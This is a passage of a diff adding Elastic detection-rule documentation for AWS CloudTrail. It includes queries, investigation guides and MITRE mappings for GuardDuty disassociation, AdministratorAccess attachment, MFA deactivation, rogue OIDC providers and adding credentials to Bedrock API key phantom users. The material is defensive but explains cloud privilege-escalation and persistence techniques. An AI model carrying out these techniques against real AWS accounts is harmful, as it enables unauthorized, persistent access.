"guardduty.amazonaws.com" + and event.action: ( + "DisassociateFromAdministratorAccount" or + "DeleteMembers" or + "StopMonitoringMembers" or + "DeleteInvitations" or + "DisassociateMembers" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-administratoraccess-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-administratoraccess-policy-attached-to-user.asciidoc new file mode 100644 index 0000000000..49e5e72d68 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-administratoraccess-policy-attached-to-user.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-28-aws-iam-administratoraccess-policy-attached-to-user]] +=== AWS IAM AdministratorAccess Policy Attached to User + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachUserPolicy.html +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM AdministratorAccess Policy Attached to User* + + +The AWS-managed `AdministratorAccess` policy grants full access to all AWS services and resources. +When attached to a user, it effectively elevates that user to full administrative privileges. +An adversary with `iam:AttachUserPolicy` permissions can abuse this operation to escalate privileges or maintain persistence. +This rule detects `AttachUserPolicy` events where the attached policy name is `AdministratorAccess`. + + +*Possible investigation steps* + + +- **Validate intent and context.** + Identify the calling user (`aws.cloudtrail.user_identity.arn`) and the target IAM user (`aws.cloudtrail.request_parameters.userName`). + Confirm whether this was an intentional administrative action, part of provisioning automation, or a potential privilege escalation. + +- **Review CloudTrail event details.** + Check `source.ip`, `user_agent.original`, and `source.geo` fields. + Compare to historical login or automation behavior. Unrecognized IPs, non-SDK user agents, or new regions may indicate misuse. + +- **Correlate with related IAM activity.** + Search CloudTrail for additional IAM events around the same time (`CreateUser`, `CreateAccessKey`, `AttachGroupPolicy`, `PutUserPolicy`, etc.) that could indicate lateral movement or persistence attempts. + +- **Review the target user’s permissions.** + Determine if the target user already had elevated privileges or if this represents a meaningful privilege increase. + Check for new API calls from the target user post-attachment, especially `CreateAccessKey`, `UpdateAssumeRolePolicy`, or S3 access attempts. + +- **Investigate associated entities.** + Look for other alerts tied to the same caller or target within the past 48 hours to identify potential correlated activity. + + +*False positive analysis* + + +- **Legitimate administrative change.** + Policy attachments may be expected during provisioning or troubleshooting. Validate through change management records. +- **Authorized automation.** + Some CI/CD pipelines or identity automation systems temporarily attach this policy. Review automation logs and intended IAM behavior. +- **Delegated admin scenarios.** + Verify if the calling user or role is part of a delegated IAM administration group. + + +*Response and remediation* + + +**Immediate containment** +- Detach the policy. Remove the `AdministratorAccess` policy from the affected IAM user immediately (`aws iam detach-user-policy`). +- Rotate credentials. Rotate passwords and access keys for both the caller and target users. +- Restrict IAM permissions. Temporarily remove `iam:AttachUserPolicy` privileges from non-administrative roles during scoping. +- Enable or confirm MFA for affected accounts. + +**Evidence preservation** +- Export related `AttachUserPolicy` CloudTrail events ±30 minutes from the alert to a secure evidence bucket. +- Preserve GuardDuty findings and AWS Config snapshots for correlation. + +**Scoping and investigation** +- Search CloudTrail for subsequent use of the affected user’s credentials. + Look for newly created keys, S3 access, or changes to IAM trust policies. +- Review other accounts for similar policy attachment attempts from the same user or IP. + +**Recovery and hardening** +- Reinforce least privilege by granting only role-based admin access instead of direct user-level AdministratorAccess. +- Implement IAM service control policies (SCPs) to prevent attachment of `AdministratorAccess` except for trusted roles. +- Enable CloudTrail, GuardDuty, and Security Hub across all regions. +- Regularly audit IAM policy attachments through AWS Config or CloudFormation drift detection. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]: response steps related to IAM policy modification and unauthorized privilege escalation. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]:** for containment, analysis, and recovery guidance. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html#jf_administrator[AdministratorAccess Policy]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "AttachUserPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "policyArn=arn:aws:iam::aws:policy/AdministratorAccess") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc new file mode 100644 index 0000000000..3fdfec121e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-28-aws-iam-create-user-via-assumed-role-on-ec2-instance]] +=== AWS IAM Create User via Assumed Role on EC2 Instance + +Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html +* https://www.dionach.com/en-us/breaking-into-the-cloud-red-team-tactics-for-aws-compromise/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Create User via Assumed Role on EC2 Instance* + + +This rule detects when an AWS Identity and Access Management (IAM) user is created through an assumed role on an EC2 instance. This action may indicate a potentially compromised instance where an adversary could be using the instance’s permissions to create a new IAM user, enabling persistent unauthorized access. + + +*Possible Investigation Steps* + + +- **Identify the Assumed Role and Initiating Instance**: + - **Role and Instance**: Examine the `aws.cloudtrail.user_identity.arn` field to determine the specific EC2 instance and role used for this action (e.g., `arn:aws:sts::[account-id]:assumed-role/[role-name]/[instance-id]`). Verify if this behavior aligns with expected usage or represents an anomaly. + +- **Analyze the Target IAM User**: + - **New User Details**: Inspect `aws.cloudtrail.request_parameters` to see the username that was created. Validate if the user is expected or authorized. + - **Review Creation Time and Context**: Compare the creation time (`@timestamp`) of the user with other activities from the same instance and role to assess if this creation was part of a larger chain of actions. + +- **Check User Agent and Tooling**: + - **User Agent Analysis**: Review `user_agent.original` to see if AWS CLI, SDK, or other tooling was used for this request. Identifiers such as `aws-cli`, `boto3`, or similar SDK names can indicate the method used, which may differentiate automation from interactive actions. + - **Source IP and Location**: Use the `source.ip` and `source.geo` fields to identify the IP address and geographic location of the event. Verify if this aligns with expected access patterns for your environment. + +- **Evaluate for Persistence Indicators**: + - **Role Permissions**: Check the permissions associated with the assumed role (`arn:aws:iam::[account-id]:role/[role-name]`) to determine if creating IAM users is a legitimate activity for this role. + - **Automated Role Patterns**: If the assumed role or instance typically creates IAM users for automation purposes, validate this action against historical records to confirm if the event is consistent with normal patterns. + +- **Review Related CloudTrail Events**: + - **Additional IAM Actions**: Investigate for other recent IAM or CloudTrail events tied to this role or instance, especially `CreateAccessKey` or `AttachUserPolicy` actions. These could signal further attempts to empower or utilize the newly created user. + - **Correlate with Other Suspicious Activities**: Determine if other roles or instances recently initiated similar unusual actions, such as privilege escalations or data access. + + +*False Positive Analysis* + + +- **Expected Automation**: Assumed roles may be used by legitimate automated systems that create users for specific workflows. Confirm if this event aligns with known automation activities. +- **Role Exceptions**: If this action is routine for specific roles, consider adding those roles to a monitored exception list for streamlined review. + + +*Response and Remediation* + + +- **Immediate Access Review**: If user creation was unauthorized, restrict the assumed role’s permissions to prevent further user creation. +- **Delete Unauthorized Users**: Confirm and remove any unauthorized IAM users, adjusting IAM policies to reduce similar risks. +- **Enhance Monitoring and Alerts**: Enable enhanced logging or real-time alerts for this role or instance to detect further unauthorized access attempts. +- **Policy Update**: Consider updating IAM policies associated with roles on EC2 instances to limit sensitive actions like IAM user creation. + + +*Additional Information* + + +For further guidance on managing IAM roles and permissions within AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html[AWS IAM documentation] and AWS best practices for security. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateUser" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and user.id: *\:i-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc new file mode 100644 index 0000000000..c89a3f7019 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-28-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user]] +=== AWS IAM Credentials Added to a Bedrock API Key Phantom User + +Identifies standard IAM credentials being added to an Amazon Bedrock API key phantom user, whose user name starts with "BedrockAPIKey-": either a long-term access key (CreateAccessKey) or a console password / login profile (CreateLoginProfile, UpdateLoginProfile). When a long-term Bedrock API key is generated through the AWS Console, AWS silently provisions a "BedrockAPIKey-" IAM user with the AmazonBedrockLimitedAccess managed policy. That user is intended only to back a Bedrock bearer token and should never hold standard programmatic keys or interactive console access. Adding either converts a Bedrock-scoped identity into general-purpose IAM credentials that inherit the policy's Bedrock control-plane and IAM, VPC, and KMS reconnaissance permissions and that persist after the Bedrock API key is revoked. This is the privilege-escalation and persistence pivot documented for Bedrock API key phantom users, and there is no legitimate workflow that produces it. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Credentials Added to a Bedrock API Key Phantom User* + + +Amazon Bedrock API keys authenticate with a bearer token. When a long-term key is created through the AWS Console, AWS provisions an IAM user named "BedrockAPIKey-" and attaches the AmazonBedrockLimitedAccess managed policy. That policy is broader than its name suggests: it grants Bedrock control-plane actions (including deletion of guardrails, custom models, and provisioned throughput) as well as IAM, VPC, and KMS reconnaissance. The phantom user is meant only to back the bearer token and should never hold standard access keys or an interactive console login. + +Adding an IAM access key (CreateAccessKey) or a console password (CreateLoginProfile/UpdateLoginProfile) to the phantom user escalates a Bedrock-scoped identity into general-purpose IAM credentials or interactive access that inherit the full policy scope and continue to work after the originating Bedrock API key is revoked. This is a deliberate privilege-escalation and persistence step. + + +*Possible investigation steps* + + +- Identify the actor in "aws.cloudtrail.user_identity.arn" and "aws.cloudtrail.user_identity.type", and review "source.ip" and "user_agent.original" for whether this is an expected administrator. +- Confirm the target phantom user and the credential type in "event.action" and "aws.cloudtrail.request_parameters", and enumerate the user's remaining credentials (service-specific credentials, access keys, login profile). +- Review the phantom user's subsequent activity for use of the new credential outside Bedrock (IAM, VPC, KMS, STS calls, or console logins). +- Correlate with the key-creation events (CreateUser and CreateServiceSpecificCredential for the same user) to reconstruct the timeline. + + +*False positive analysis* + + +- This should be near-zero. There is no standard workflow that adds access keys or login profiles to a "BedrockAPIKey-*" user. Treat any hit as suspicious until proven otherwise. + + +*Response and remediation* + + +- Remove the access key or login profile on the phantom user and, if compromise is suspected, deactivate or delete the associated Bedrock service-specific credential. +- Review the actor's recent activity and rotate or restrict its credentials. +- Deploy a Service Control Policy that denies "iam:CreateAccessKey" and "iam:CreateLoginProfile" on "arn:aws:iam::*:user/BedrockAPIKey-*" to block this pivot organization-wide. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "iam.amazonaws.com" + AND event.action IN ("CreateAccessKey", "CreateLoginProfile", "UpdateLoginProfile") + AND event.outcome == "success" + AND user.target.name LIKE "BedrockAPIKey-*" +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-deactivation-of-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-deactivation-of-mfa-device.asciidoc new file mode 100644 index 0000000000..3ddf390d3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-deactivation-of-mfa-device.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-28-aws-iam-deactivation-of-mfa-device]] +=== AWS IAM Deactivation of MFA Device + +Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/deactivate-mfa-device.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Resources: Investigation Guide +* Tactic: Impact +* Tactic: Persistence + +*Version*: 217 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Deactivation of MFA Device* + + +This rule detects successful deactivation of a Virtual MFA device in AWS IAM. +Deactivation removes MFA enforcement from an IAM user, significantly lowering account resilience against credential theft or unauthorized access. +Since MFA devices must be deactivated before deletion, this represents the earliest and most critical opportunity to detect potential account compromise or persistence activity. + +For more information about using MFA in AWS, access the https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[official documentation]. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deactivation. + - Check whether the actor typically manages MFA or has the IAM permissions to perform such actions. + - Review `user_agent.original` to confirm if the operation was performed via the AWS Console, CLI, or SDK. + +- **Review the source and location** + - Investigate `source.ip` and `source.geo` fields for unusual origins or unrecognized locations. + - Determine if this request originated from known automation infrastructure, internal IP ranges, or a personal endpoint. + +- **Correlate with other related activity** + - Look for preceding API calls such as `ListMFADevices`, `GetSessionToken`, or `ListUsers`, which may indicate reconnaissance or IAM enumeration. + - Search for subsequent `DeleteVirtualMFADevice` calls to confirm whether the deactivated device was later deleted — a common follow-up action. + - Check for any privilege changes, credential creations (`CreateAccessKey`, `AttachUserPolicy`), or unexpected login attempts following the deactivation. + +- **Validate authorization** + - Confirm with IAM or security administrators whether the action was part of an authorized device rotation or remediation. + - If not documented or approved, escalate as a potential credential compromise or persistence attempt. + + +*False positive analysis* + + +- **Legitimate device rotation** + - When replacing an MFA device, AWS requires deactivation of the existing device before the new one can be enabled. +- **Administrative maintenance** + - IAM administrators or automation pipelines may deactivate MFA as part of account management or recovery workflows. + + +*Response and remediation* + + +- **Containment** + - Re-enable MFA for the affected IAM user (`EnableMFADevice`) or temporarily disable their login access until legitimacy is confirmed. + - Revoke temporary credentials or tokens associated with the actor to prevent further misuse. + +- **Investigation and scoping** + - Review CloudTrail history for additional IAM configuration changes or access key creation events tied to the same principal. + - Determine whether sensitive resources were accessed after MFA removal. + - Identify whether multiple users had MFA devices deactivated in a short timeframe — an indicator of broader compromise. + +- **Recovery and hardening** + - Require MFA for all privileged IAM users and enforce it using service control policies (SCPs). + - Enable GuardDuty or Security Hub findings for IAM anomaly detection related to account takeover or configuration changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html[DeactivateMFADevice API Reference]** +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: iam.amazonaws.com + and event.action: DeactivateMFADevice + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-oidc-provider-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-oidc-provider-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..b956e87770 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-oidc-provider-created-by-rare-user.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-28-aws-iam-oidc-provider-created-by-rare-user]] +=== AWS IAM OIDC Provider Created by Rare User + +Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateOpenIDConnectProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM OIDC Provider Created by Rare User* + + +OpenID Connect (OIDC) providers in AWS IAM enable web identity federation, allowing external identity providers to authenticate users who then assume IAM roles. Common legitimate use cases include GitHub Actions accessing AWS resources, Kubernetes pods authenticating to AWS, and web applications using social login. + +This rule detects the first time a specific user or role creates an OIDC provider within an account. While OIDC provider creation is common in some environments, a new user creating one for the first time warrants validation to ensure it's authorized. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the OIDC provider. + - Check if this user has created OIDC providers before in other accounts. + +- **Review the OIDC provider details** + - Examine `aws.cloudtrail.request_parameters` for the provider URL and client IDs. + - Identify the external IdP (e.g., GitHub, Google, custom provider). + +- **Validate business justification** + - Confirm with DevOps or platform teams whether this aligns with CI/CD pipeline setup. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that trust the new OIDC provider. + - Look for `AssumeRoleWithWebIdentity` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **CI/CD pipeline integration** + - GitHub Actions, GitLab CI, and other CI/CD systems commonly use OIDC for AWS authentication. + - Validate against known DevOps workflows. + +- **Kubernetes federation** + - EKS and self-managed Kubernetes clusters may use OIDC providers for pod identity. + - Confirm with platform engineering teams. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create OIDC providers. + - Verify via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the OIDC provider using `DeleteOpenIDConnectProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithWebIdentity` calls using this provider. + - Review all IAM roles with web identity trust relationships. + +- **Hardening** + - Restrict `iam:CreateOpenIDConnectProvider` permissions to authorized roles. + - Implement SCPs to control OIDC provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html[AWS IAM OIDC Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateOpenIDConnectProvider" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-roles-anywhere-profile-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-roles-anywhere-profile-creation.asciidoc new file mode 100644 index 0000000000..ba71b45f94 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-roles-anywhere-profile-creation.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-28-aws-iam-roles-anywhere-profile-creation]] +=== AWS IAM Roles Anywhere Profile Creation + +Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* 